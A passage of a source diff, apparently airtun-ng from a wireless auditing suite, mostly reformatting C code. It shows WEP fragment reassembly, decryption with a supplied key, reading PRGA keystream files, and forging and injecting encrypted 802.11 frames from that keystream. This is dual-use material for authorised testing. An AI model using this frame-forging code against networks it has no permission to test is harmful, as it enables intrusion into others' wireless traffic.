+	  "      -b               : bidirectional mode. This enables "
+	  "communication\n"
+	  "                         in Transmitter's AND Receiver's networks.\n"
+	  "                         Works only if you can see both stations.\n"
+	  "\n"
+	  "  Repeater options:\n"
+	  "      --repeat         : activates repeat mode\n"
+	  "      --bssid <mac>    : BSSID to repeat\n"
+	  "      --netmask <mask> : netmask for BSSID filter\n"
+	  "\n"
+	  "      --help           : Displays this usage screen\n"
+	  "\n";
 
 struct options
 {
-    unsigned char r_bssid[6];
-    unsigned char r_dmac[6];
-    unsigned char r_smac[6];
-    unsigned char r_trans[6];
+	unsigned char r_bssid[6];
+	unsigned char r_dmac[6];
+	unsigned char r_smac[6];
+	unsigned char r_trans[6];
 
-    unsigned char f_bssid[6];
-    unsigned char f_netmask[6];
+	unsigned char f_bssid[6];
+	unsigned char f_netmask[6];
 
-    char *s_face;
-    char *s_file;
-    unsigned char *prga;
+	char * s_face;
+	char * s_file;
+	unsigned char * prga;
 
-    int r_nbpps;
-    int prgalen;
-    int tods;
-    int bidir;
+	int r_nbpps;
+	int prgalen;
+	int tods;
+	int bidir;
 
-    char essid[36];
-    char passphrase[65];
-    unsigned char pmk[40];
+	char essid[36];
+	char passphrase[65];
+	unsigned char pmk[40];
 
-    unsigned char wepkey[64];
-    int weplen, crypt;
+	unsigned char wepkey[64];
+	int weplen, crypt;
 
-    int repeat;
-}
-opt;
+	int repeat;
+} opt;
 
 struct devices
 {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_rtc;
-    struct tif *dv_ti;
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+	struct tif * dv_ti;
 
-    int is_wlanng;
-    int is_hostap;
-    int is_madwifi;
-    int is_madwifing;
-    int is_bcm43xx;
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
 
-    FILE *f_cap_in;
+	FILE * f_cap_in;
 
-    struct pcap_file_header pfh_in;
-}
-dev;
+	struct pcap_file_header pfh_in;
+} dev;
 
 struct ARP_req
 {
-    unsigned char *buf;
-    int len;
+	unsigned char * buf;
+	int len;
 };
 
-typedef struct Fragment_list* pFrag_t;
+typedef struct Fragment_list * pFrag_t;
 struct Fragment_list
 {
-    unsigned char   source[6];
-    unsigned short  sequence;
-    unsigned char*  fragment[16];
-    short           fragmentlen[16];
-    char            fragnum;
-    unsigned char*  header;
-    short           headerlen;
-    struct timeval  access;
-    char            wep;
-    pFrag_t         next;
+	unsigned char source[6];
+	unsigned short sequence;
+	unsigned char * fragment[16];
+	short fragmentlen[16];
+	char fragnum;
+	unsigned char * header;
+	short headerlen;
+	struct timeval access;
+	char wep;
+	pFrag_t next;
 };
 
 struct net_entry
 {
-    unsigned char *addr;
-    unsigned char net;
-    struct net_entry *next;
+	unsigned char * addr;
+	unsigned char net;
+	struct net_entry * next;
 };
 
 unsigned long nb_pkt_sent;
@@ -200,1879 +192,1840 @@
 unsigned char tmpbuf[4096];
 unsigned char srcbuf[4096];
 char strbuf[512];
-struct net_entry *nets = NULL;
-struct WPA_ST_info *st_1st = NULL;
-unsigned char ZERO[32];
+struct net_entry * nets = NULL;
+struct WPA_ST_info * st_1st = NULL;
 
 int ctrl_c, alarmed;
 
 char * iwpriv;
 
-pFrag_t     rFragment;
+pFrag_t rFragment;
 
-struct net_entry *find_entry(unsigned char *adress) {
-    struct net_entry *cur = nets;
+static struct net_entry * find_entry(unsigned char * adress)
+{
+	struct net_entry * cur = nets;
 
-    if (cur == NULL) return NULL;
+	if (cur == NULL) return NULL;
 
-    do {
-        if (! memcmp(cur->addr, adress, 6)) {
-            return cur;
-        }
-        cur = cur->next;
-    } while (cur != nets);
+	do
+	{
+		if (!memcmp(cur->addr, adress, 6))
+		{
+			return cur;
+		}
+		cur = cur->next;
+	} while (cur != nets);
 
-    return NULL;
+	return NULL;
 }
 
-void set_entry(unsigned char *adress, unsigned char network) {
-    struct net_entry *cur;
-
-    if( nets == NULL ) {
-        nets = malloc(sizeof(struct net_entry));
-        nets->addr = malloc(6 * sizeof(unsigned char));
-        nets->next = nets;
-        cur = nets;
-    } else {
-        cur = find_entry(adress);
-        if (cur == NULL) {
-            cur = malloc(sizeof(struct net_entry));
-            cur->addr = malloc(6 * sizeof(unsigned char));
-            cur->next = nets->next;
-            nets->next = cur;
-        }
-    }
-
-    memcpy(cur->addr, adress, 6);
-    cur->net = network;
-}
+static void set_entry(unsigned char * adress, unsigned char network)
+{
+	struct net_entry * cur;
 
-int get_entry(unsigned char *adress) {
-    struct net_entry *cur = find_entry(adress);
+	if (nets == NULL)
+	{
+		nets = malloc(sizeof(struct net_entry));
+		nets->addr = malloc(6 * sizeof(unsigned char));
+		nets->next = nets;
+		cur = nets;
+	}
+	else
+	{
+		cur = find_entry(adress);
+		if (cur == NULL)
+		{
+			cur = malloc(sizeof(struct net_entry));
+			cur->addr = malloc(6 * sizeof(unsigned char));
+			cur->next = nets->next;
+			nets->next = cur;
+		}
+	}
 
-    if (cur == NULL) {
-        return -1;
-    } else {
-        return cur->net;
-    }
+	memcpy(cur->addr, adress, 6);
+	cur->net = network;
 }
 
-void swap_ra_ta(unsigned char *h80211) {
-     unsigned char mbuf[6];
+static int get_entry(unsigned char * adress)
+{
+	struct net_entry * cur = find_entry(adress);
 
-     memcpy(mbuf     , h80211+ 4, 6);
-     memcpy(h80211+ 4, h80211+10, 6);
-     memcpy(h80211+10, mbuf     , 6);
+	if (cur == NULL)
+	{
+		return -1;
+	}
+	else
+	{
+		return cur->net;
+	}
 }
 
-void sighandler( int signum )
+static void swap_ra_ta(unsigned char * h80211)
 {
-    if( signum == SIGINT )
-        ctrl_c++;
+	unsigned char mbuf[6];
 
-    if( signum == SIGALRM )
-        alarmed++;
+	memcpy(mbuf, h80211 + 4, 6);
+	memcpy(h80211 + 4, h80211 + 10, 6);
+	memcpy(h80211 + 10, mbuf, 6);
 }
 
-int addFrag(unsigned char* packet, unsigned char* smac, int len)
+static int addFrag(unsigned char * packet, unsigned char * smac, int len)
 {
-    pFrag_t cur = rFragment;
-    int seq, frag, wep, z, i;
-    unsigned char frame[4096];
-    unsigned char K[128];
-
-    if(packet == NULL)
-        return -1;
-
-    if(smac == NULL)
-        return -1;
-
-    if(len <= 32 || len > 2000)
-        return -1;
-
-    if(rFragment == NULL)
-        return -1;
-
-    memset(frame, 0, 4096);
-    memcpy(frame, packet, len);
-
-    z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30;
-    frag = frame[22] & 0x0F;
-    seq = (frame[22] >> 4) | (frame[23] << 4);
-    wep = (frame[1] & 0x40) >> 6;
-
-    if(frag < 0 || frag > 15)
-        return -1;
-
-    if(wep && opt.crypt != CRYPT_WEP)
-        return -1;
-
-    if(wep)
-    {
-        //decrypt it
-        memcpy( K, frame + z, 3 );
-        memcpy( K + 3, opt.wepkey, opt.weplen );
-
-        if (decrypt_wep( frame + z + 4, len - z - 4,
-                        K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) )
-        {
-            printf("error decrypting... len: %d\n", len-z-4);
-            return -1;
-        }
-
-        /* WEP data packet was successfully decrypted, *
-        * remove the WEP IV & ICV and write the data  */
-
-        len -= 8;
-
-        memcpy( frame + z, frame + z + 4, len - z );
-
-        frame[1] &= 0xBF;
-    }
-
-    while(cur->next != NULL)
-    {
-        cur = cur->next;
-        if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) )
-        {
-            //entry already exists, update
-//             printf("got seq %d, added fragment %d \n", seq, frag);
-            if(cur->fragment[frag] != NULL)
-                return 0;
-
-            if( (frame[1] & 0x04) == 0 )
-            {
-//                 printf("max fragnum is %d\n", frag);
-                cur->fragnum = frag;    //no higher frag number possible
-            }
-            cur->fragment[frag] = (unsigned char*) malloc(len-z);
-            memcpy(cur->fragment[frag], frame+z, len-z);
-            cur->fragmentlen[frag] = len-z;
-            gettimeofday(&cur->access, NULL);
-
-            return 0;
-        }
-    }
-
-//     printf("new seq %d, added fragment %d \n", seq, frag);
-    //new entry, first fragment received
-    //alloc mem
-    cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
-    cur = cur->next;
-
-    for(i=0; i<16; i++)
-    {
-        cur->fragment[i] = NULL;
-        cur->fragmentlen[i] = 0;
-    }
-
-    if( (frame[1] & 0x04) == 0 )
-    {
-//         printf("max fragnum is %d\n", frag);
-        cur->fragnum = frag;    //no higher frag number possible
-    }
-    else
-    {
-        cur->fragnum = 0;
-    }
-
-    //remove retry & more fragments flag
-    frame[1] &= 0xF3;
-    //set frag number to 0
-    frame[22] &= 0xF0;
-    memcpy(cur->source, smac, 6);
-    cur->sequence = seq;
-    cur->header = (unsigned char*) malloc(z);
-    memcpy(cur->header, frame, z);
-    cur->headerlen = z;
-    cur->fragment[frag] = (unsigned char*) malloc(len-z);
-    memcpy(cur->fragment[frag], frame+z, len-z);
-    cur->fragmentlen[frag] = len-z;
-    cur->wep = wep;
-    gettimeofday(&cur->access, NULL);
-
-    cur->next = NULL;
-
-    return 0;
+	pFrag_t cur = rFragment;
+	int seq, frag, wep, z, i;
+	unsigned char frame[4096];
+	unsigned char K[128];
+
+	if (packet == NULL) return -1;
+
+	if (smac == NULL) return -1;
+
+	if (len <= 32 || len > 2000) return -1;
+
+	if (rFragment == NULL) return -1;
+
+	memset(frame, 0, 4096);
+	memcpy(frame, packet, len);
+
+	z = ((frame[1] & 3) != 3) ? 24 : 30;
+	frag = frame[22] & 0x0F;
+	seq = (frame[22] >> 4) | (frame[23] << 4);
+	wep = (frame[1] & 0x40) >> 6;
+
+	if (frag < 0 || frag > 15) return -1;
+
+	if (wep && opt.crypt != CRYPT_WEP) return -1;
+
+	if (wep)
+	{
+		// decrypt it
+		memcpy(K, frame + z, 3);
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		if (decrypt_wep(frame + z + 4, len - z - 4, K, 3 + opt.weplen) == 0
+			&& (len - z - 4 > 8))
+		{
+			printf("error decrypting... len: %d\n", len - z - 4);
+			return -1;
+		}
+
+		/* WEP data packet was successfully decrypted, *
+		* remove the WEP IV & ICV and write the data  */
+
+		len -= 8;
+
+		memcpy(frame + z, frame + z + 4, len - z);
+
+		frame[1] &= 0xBF;
+	}
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		if ((memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence)
+			&& (wep == cur->wep))
+		{
+			// entry already exists, update
+			//             printf("got seq %d, added fragment %d \n", seq,
+			//             frag);
+			if (cur->fragment[frag] != NULL) return 0;
+
+			if ((frame[1] & 0x04) == 0)
+			{
+				//                 printf("max fragnum is %d\n", frag);
+				cur->fragnum = frag; // no higher frag number possible
+			}
+			cur->fragment[frag] = (unsigned char *) malloc(len - z);
+			memcpy(cur->fragment[frag], frame + z, len - z);
+			cur->fragmentlen[frag] = len - z;
+			gettimeofday(&cur->access, NULL);
+
+			return 0;
+		}
+	}
+
+	//     printf("new seq %d, added fragment %d \n", seq, frag);
+	// new entry, first fragment received
+	// alloc mem
+	cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	cur = cur->next;
+
+	for (i = 0; i < 16; i++)
+	{
+		cur->fragment[i] = NULL;
+		cur->fragmentlen[i] = 0;
+	}
+
+	if ((frame[1] & 0x04) == 0)
+	{
+		//         printf("max fragnum is %d\n", frag);
+		cur->fragnum = frag; // no higher frag number possible
+	}
+	else
+	{
+		cur->fragnum = 0;
+	}
+
+	// remove retry & more fragments flag
+	frame[1] &= 0xF3;
+	// set frag number to 0
+	frame[22] &= 0xF0;
+	memcpy(cur->source, smac, 6);
+	cur->sequence = seq;
+	cur->header = (unsigned char *) malloc(z);
+	memcpy(cur->header, frame, z);
+	cur->headerlen = z;
+	cur->fragment[frag] = (unsigned char *) malloc(len - z);
+	memcpy(cur->fragment[frag], frame + z, len - z);
+	cur->fragmentlen[frag] = len - z;
+	cur->wep = wep;
+	gettimeofday(&cur->access, NULL);
+
+	cur->next = NULL;
+
+	return 0;
 }
 
-int timeoutFrag()
+static int timeoutFrag(void)
 {
-    pFrag_t old, cur = rFragment;
-    struct timeval tv;
-    int64_t timediff;
-    int i;
-
-    if(rFragment == NULL)
-        return -1;
-
-    gettimeofday(&tv, NULL);
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        timediff = (tv.tv_sec - old->access.tv_sec)*1000000UL + (tv.tv_usec - old->access.tv_usec);
-        if(timediff > FRAG_TIMEOUT)
-        {
-            //remove captured fragments
-            if(old->header != NULL)
-                free(old->header);
-            for(i=0; i<16; i++)
-                if(old->fragment[i] != NULL)
-                    free(old->fragment[i]);
-
-            cur->next = old->next;
-            free(old);
-        }
-        cur = cur->next;
-    }
-    return 0;
+	pFrag_t old, cur = rFragment;
+	struct timeval tv;
+	int64_t timediff;
+	int i;
+
+	if (rFragment == NULL) return -1;
+
+	gettimeofday(&tv, NULL);
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		timediff = (tv.tv_sec - old->access.tv_sec) * 1000000UL
+				   + (tv.tv_usec - old->access.tv_usec);
+		if (timediff > FRAG_TIMEOUT)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+		}
+		cur = cur->next;
+	}
+	return 0;
 }
 
-int delFrag(unsigned char* smac, int sequence)
+static int delFrag(unsigned char * smac, int sequence)
 {
-    pFrag_t old, cur = rFragment;
-    int i;
-
-    if(rFragment == NULL)
-        return -1;
-
-    if(smac == NULL)
-        return -1;
-
-    if(sequence < 0)
-        return -1;
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-        {
-            //remove captured fragments
-            if(old->header != NULL)
-                free(old->header);
-            for(i=0; i<16; i++)
-                if(old->fragment[i] != NULL)
-                    free(old->fragment[i]);
-
-            cur->next = old->next;
-            free(old);
-            return 0;
-        }
-        cur = cur->next;
-    }
-    return 0;
+	pFrag_t old, cur = rFragment;
+	int i;
+
+	if (rFragment == NULL) return -1;
+
+	if (smac == NULL) return -1;
+
+	if (sequence < 0) return -1;
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+			return 0;
+		}
+		cur = cur->next;
+	}
+	return 0;
 }
 
-unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen)
+static unsigned char *
+getCompleteFrag(unsigned char * smac, int sequence, int * packetlen)
 {
-    pFrag_t old, cur = rFragment;
-    int i, len=0;
-    unsigned char* packet=NULL;
-    unsigned char K[128];
-
-    if(rFragment == NULL)
-        return NULL;
-
-    if(smac == NULL)
-        return NULL;
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-        {
-            //check if all frags available
-            if(old->fragnum == 0)
-                return NULL;
-            for(i=0; i<=old->fragnum; i++)
-            {
-                if(old->fragment[i] == NULL)
-                    return NULL;
-                len += old->fragmentlen[i];
-            }
-
-            if(len > 2000)
-                return NULL;
-
-//             printf("got a complete frame -> build it\n");
-
-            if(old->wep)
-            {
-                if( opt.crypt == CRYPT_WEP)
-                {
-					packet = (unsigned char*) malloc(len+old->headerlen+8);
-                    K[0] = rand() & 0xFF;
-                    K[1] = rand() & 0xFF;
-                    K[2] = rand() & 0xFF;
-                    K[3] = 0x00;
-
-                    memcpy(packet, old->header, old->headerlen);
-                    len=old->headerlen;
-                    memcpy(packet+len, K, 4);
-                    len+=4;
-                    for(i=0; i<=old->fragnum; i++)
-                    {
-                        memcpy(packet+len, old->fragment[i], old->fragmentlen[i]);
-                        len+=old->fragmentlen[i];
-                    }
-
-                    /* write crc32 value behind data */
-                    if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL;
-
-                    len += 4; //icv
-
-                    memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                    encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 );
-
-                    packet[1] = packet[1] | 0x40;
-
-                    //delete captured fragments
-                    delFrag(smac, sequence);
-                    *packetlen = len;
-                    return packet;
-                }
-                else
-                    return NULL;
-
-            }
-            else
-            {
-                packet = (unsigned char*) malloc(len+old->headerlen);
-                memcpy(packet, old->header, old->headerlen);
-                len=old->headerlen;
-                for(i=0; i<=old->fragnum; i++)
-                {
-                    memcpy(packet+len, old->fragment[i], old->fragmentlen[i]);
-                    len+=old->fragmentlen[i];
-                }
-                //delete captured fragments
-                delFrag(smac, sequence);
-                *packetlen = len;
-                return packet;
-            }
-        }
-        cur = cur->next;
-    }
-    return packet;
+	pFrag_t old, cur = rFragment;
+	int i, len = 0;
+	unsigned char * packet = NULL;
+	unsigned char K[128];
+
+	if (rFragment == NULL) return NULL;
+
+	if (smac == NULL) return NULL;
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// check if all frags available
+			if (old->fragnum == 0) return NULL;
+			for (i = 0; i <= old->fragnum; i++)
+			{
+				if (old->fragment[i] == NULL) return NULL;
+				len += old->fragmentlen[i];
+			}
+
+			if (len > 2000) return NULL;
+
+			//             printf("got a complete frame -> build it\n");
+
+			if (old->wep)
+			{
+				if (opt.crypt == CRYPT_WEP)
+				{
+					packet = (unsigned char *) malloc(len + old->headerlen + 8);
+					K[0] = rand() & 0xFF;
+					K[1] = rand() & 0xFF;
+					K[2] = rand() & 0xFF;
+					K[3] = 0x00;
+
+					memcpy(packet, old->header, old->headerlen);
+					len = old->headerlen;
+					memcpy(packet + len, K, 4);
+					len += 4;
+					for (i = 0; i <= old->fragnum; i++)
+					{
+						memcpy(packet + len,
+							   old->fragment[i],
+							   old->fragmentlen[i]);
+						len += old->fragmentlen[i];
+					}
+
+					/* write crc32 value behind data */
+					if (add_crc32(packet + old->headerlen + 4,
+								  len - old->headerlen - 4)
+						!= 0)
+						return NULL;
+
+					len += 4; // icv
+
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					encrypt_wep(packet + old->headerlen + 4,
+								len - old->headerlen - 4,
+								K,
+								opt.weplen + 3);
+
+					packet[1] = packet[1] | 0x40;
+
+					// delete captured fragments
+					delFrag(smac, sequence);
+					*packetlen = len;
+					return packet;
+				}
+				else
+					return NULL;
+			}
+			else
+			{
+				packet = (unsigned char *) malloc(len + old->headerlen);
+				memcpy(packet, old->header, old->headerlen);
+				len = old->headerlen;
+				for (i = 0; i <= old->fragnum; i++)
+				{
+					memcpy(packet + len, old->fragment[i], old->fragmentlen[i]);
+					len += old->fragmentlen[i];
+				}
+				// delete captured fragments
+				delFrag(smac, sequence);
+				*packetlen = len;
+				return packet;
+			}
+		}
+		cur = cur->next;
+	}
+	return packet;
 }
 
-int is_filtered_netmask(unsigned char *bssid)
+static int is_filtered_netmask(unsigned char * bssid)
 {
-    unsigned char mac1[6];
-    unsigned char mac2[6];
-    int i;
-
-    for(i=0; i<6; i++)
-    {
-        mac1[i] = bssid[i]     & opt.f_netmask[i];
-        mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
-    }
-
-    if( memcmp(mac1, mac2, 6) != 0 )
-    {
-        return( 1 );
-    }
-
-    return 0;
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	int i;
+
+	for (i = 0; i < 6; i++)
+	{
+		mac1[i] = bssid[i] & opt.f_netmask[i];
+		mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
+	}
+
+	if (memcmp(mac1, mac2, 6) != 0)
+	{
+		return (1);
+	}
+
+	return 0;
 }
 
-int send_packet(void *buf, size_t count)
+static int send_packet(void * buf, size_t count)
 {
-        struct wif *wi = _wi_out; /* XXX globals suck */
-        if (wi_write(wi, buf, count, NULL) == -1) {
-                perror("wi_write()");
-                return -1;
-        }
-
-        nb_pkt_sent++;
-        return 0;
+	struct wif * wi = _wi_out; /* XXX globals suck */
+	if (wi_write(wi, buf, count, NULL) == -1)
+	{
+		perror("wi_write()");
+		return -1;
+	}
+
+	nb_pkt_sent++;
+	return 0;
 }
 
-int read_packet(void *buf, size_t count)
+static int read_packet(void * buf, size_t count)
 {
-        struct wif *wi = _wi_in; /* XXX */
-        int rc;
+	struct wif * wi = _wi_in; /* XXX */
+	int rc;
 
-        rc = wi_read(wi, buf, count, NULL);
-        if (rc == -1) {
-                perror("wi_read()");
-                return -1;
-        }
+	rc = wi_read(wi, buf, count, NULL);
+	if (rc == -1)
+	{
+		perror("wi_read()");
+		return -1;
+	}
 
-        return rc;
+	return rc;
 }
 
-int msleep( int msec )
+static int msleep(int msec)
 {
-    struct timeval tv, tv2;
-    float f, ticks;
-    int n;
+	struct timeval tv, tv2;
+	float f, ticks;
+	int n;
+	ssize_t rc;
 
-    if(msec == 0) msec = 1;
+	if (msec == 0) msec = 1;
 
-    ticks = 0;
+	ticks = 0;
 
-    while( 1 )
-    {
-        /* wait for the next timer interrupt, or sleep */
-
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                return( 1 );
-            }
+	while (1)
+	{
+		/* wait for the next timer interrupt, or sleep */
 
-            ticks++;
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
+		if (dev.fd_rtc >= 0)
+		{
+			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+			}
+			else if (rc == 0)
+			{
+				perror("EOF encountered on /dev/rtc");
+			}
+			else
+			{
+				ticks++;
+			}
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
 
-            gettimeofday( &tv,  NULL );
-            usleep( 1024 );
-            gettimeofday( &tv2, NULL );
+			gettimeofday(&tv, NULL);
+			usleep(1024);
+			gettimeofday(&tv2, NULL);
 
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
 
-            ticks += f / 1024;
-        }
+			ticks += f / 1024;
+		}
 
-        if( ( ticks / 1024 * 1000 ) < msec )
-            continue;
+		if ((ticks / 1024 * 1000) < msec) continue;
 
-        /* threshold reached */
-        break;
-    }
+		/* threshold reached */
+		break;
+	}
 
-    return 0;
+	return 0;
 }
 
-int read_prga(unsigned char **dest, char *file)
+static int read_prga(unsigned char ** dest, char * file)
 {
-    FILE *f;
-    int size;
+	FILE * f;
+	int size;
 
-    if(file == NULL) return( 1 );
-    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);
+	if (file == NULL) return (1);
+	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
 
-    if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 )
-    {
-        printf("Is this really a PRGA file: %s?\n", file);
-    }
+	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0)
+	{
+		printf("Is this really a PRGA file: %s?\n", file);
+	}
 
-    f = fopen(file, "r");
+	f = fopen(file, "r");
 
-    if(f == NULL)
-    {
-         printf("Error opening %s\n", file);
-         return( 1 );
-    }
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+		return (1);
+	}
 
-    fseek(f, 0, SEEK_END);
-    size = ftell(f);
-    rewind(f);
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	rewind(f);
 
-    if(size > 1500) size = 1500;
+	if (size > 1500) size = 1500;
 
-    if( fread( (*dest), size, 1, f ) != 1 )
-    {
-    	fclose(f);
-        fprintf( stderr, "fread failed\n" );
-        return( 1 );
-    }
+	if (fread((*dest), size, 1, f) != 1)
+	{
+		fclose(f);
+		fprintf(stderr, "fread failed\n");
+		return (1);
+	}
 
-    if( (*dest)[3] > 0x03 )
-    {
-        printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] );
-    }
+	if ((*dest)[3] > 0x03)
+	{
+		printf("Are you really sure that this is a valid keystream? Because "
+			   "the index is out of range (0-3): %02X\n",
+			   (*dest)[3]);
+	}
 
-    opt.prgalen = size;
+	opt.prgalen = size;
 
-    fclose(f);
-    return( 0 );
+	fclose(f);
+	return (0);
 }
 
-void add_icv(unsigned char *input, int len, int offset)
-{
-    unsigned long crc = 0xFFFFFFFF;
-    int n=0;
+#define IEEE80211_LLC_SNAP                                                     \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
 
-    for( n = offset; n < len; n++ )
-        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
+static int set_IVidx(unsigned char * packet, int data_begin)
+{
+	if (packet == NULL) return 1;
 
-    crc = ~crc;
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return 1;
+	}
 
-    input[len]   = (crc      ) & 0xFF;
-    input[len+1] = (crc >>  8) & 0xFF;
-    input[len+2] = (crc >> 16) & 0xFF;
-    input[len+3] = (crc >> 24) & 0xFF;
+	/* insert IV+index */
+	memcpy(packet + data_begin, opt.prga, 4);
 
-    return;
+	return 0;
 }
 
-int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len)
+static int encrypt_data(unsigned char * dest, unsigned char * data, int length)
 {
-    int i=0;
+	unsigned char cipher[2048];
+	int n;
 
-    for (i=0; i<len; i++) {
-        ph80211[i] = ph80211[i] ^ keystream[i];
-    }
+	if (dest == NULL) return 1;
+	if (data == NULL) return 1;
+	if (length < 1 || length > 2044) return 1;
 
-    return 0;
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return 1;
+	}
+
+	if (opt.prgalen - 4 < length)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
+			(length + 4));
+		return 1;
+	}
+
+	/* encrypt data */
+	for (n = 0; n < length; n++)
+	{
+		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
+	}
+
+	memcpy(dest, cipher, length);
+
+	return 0;
 }
 
-void print_packet ( unsigned char h80211[], int caplen )
+static int
+create_wep_packet(unsigned char * packet, int * length, int data_begin)
 {
-	int i,j;
-	int key_index_offset=0;
+	if (packet == NULL) return 1;
+
+	/* write crc32 value behind data */
+	if (add_crc32(packet + data_begin, *length - data_begin) != 0) return 1;
+
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (encrypt_data(packet + data_begin + 4,
+					 packet + data_begin,
+					 *length - (data_begin - 4))
+		!= 0)
+		return 1;
+
+	/* write IV+IDX right in front of the encrypted data */
+	if (set_IVidx(packet, data_begin) != 0) return 1;
 
-	printf( "        Size: %d, FromDS: %d, ToDS: %d",
-		caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
+	/* set WEP bit */
+	packet[1] = packet[1] | 0x40;
 
-	if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
+	*length += 8;
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
+
+	return 0;
+}
+
+static int packet_xmit(unsigned char * packet, int length)
+{
+	unsigned char K[64];
+	unsigned char buf[4096];
+	struct WPA_ST_info * st_cur;
+	int data_begin = 24;
+	int dest_net;
+
+	if (memcmp(packet, SPANTREE, 6) == 0)
 	{
-	    if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress
-		else key_index_offset = 27;
+		memcpy(h80211,
+			   IEEE80211_LLC_SNAP,
+			   24); // shorter LLC/SNAP - only copy IEEE80211 HEADER
+		memcpy(h80211 + 24, packet + 14, length - 14);
+		//         memcpy(h80211+30, packet+12, 2);
+		length = length + 24
+				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
+	}
+	else
+	{
+		memcpy(h80211, IEEE80211_LLC_SNAP, 32);
+		memcpy(h80211 + 32, packet + 14, length - 14);
+		memcpy(h80211 + 30, packet + 12, 2);
+		length = length + 32
+				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
+	}
 
-	    if( ( h80211[key_index_offset] & 0x20 ) == 0 )
-		printf( " (WEP)" );
-	    else
-		printf( " (WPA)" );
+	if (opt.tods == 1)
+	{
+		h80211[1] |= 0x01;
+		memcpy(h80211 + 4, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 10, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 16, packet, 6); // DST_MAC
+	}
+	else if (opt.tods == 2)
+	{
+		h80211[1] |= 0x03;
+		length += 6; // additional MAC addr
+		data_begin += 6;
+		memcpy(buf, h80211 + 24, length - 24);
+		memcpy(h80211 + 30, buf, length - 24);
+
+		memcpy(h80211 + 24, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 10, opt.r_trans, 6); // TRANSMITTER
+		memcpy(h80211 + 16, packet, 6); // DST_MAC
+		memcpy(h80211 + 4, opt.r_bssid, 6); // RECEIVER
+	}
+	else
+	{
+		h80211[1] |= 0x02;
+		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
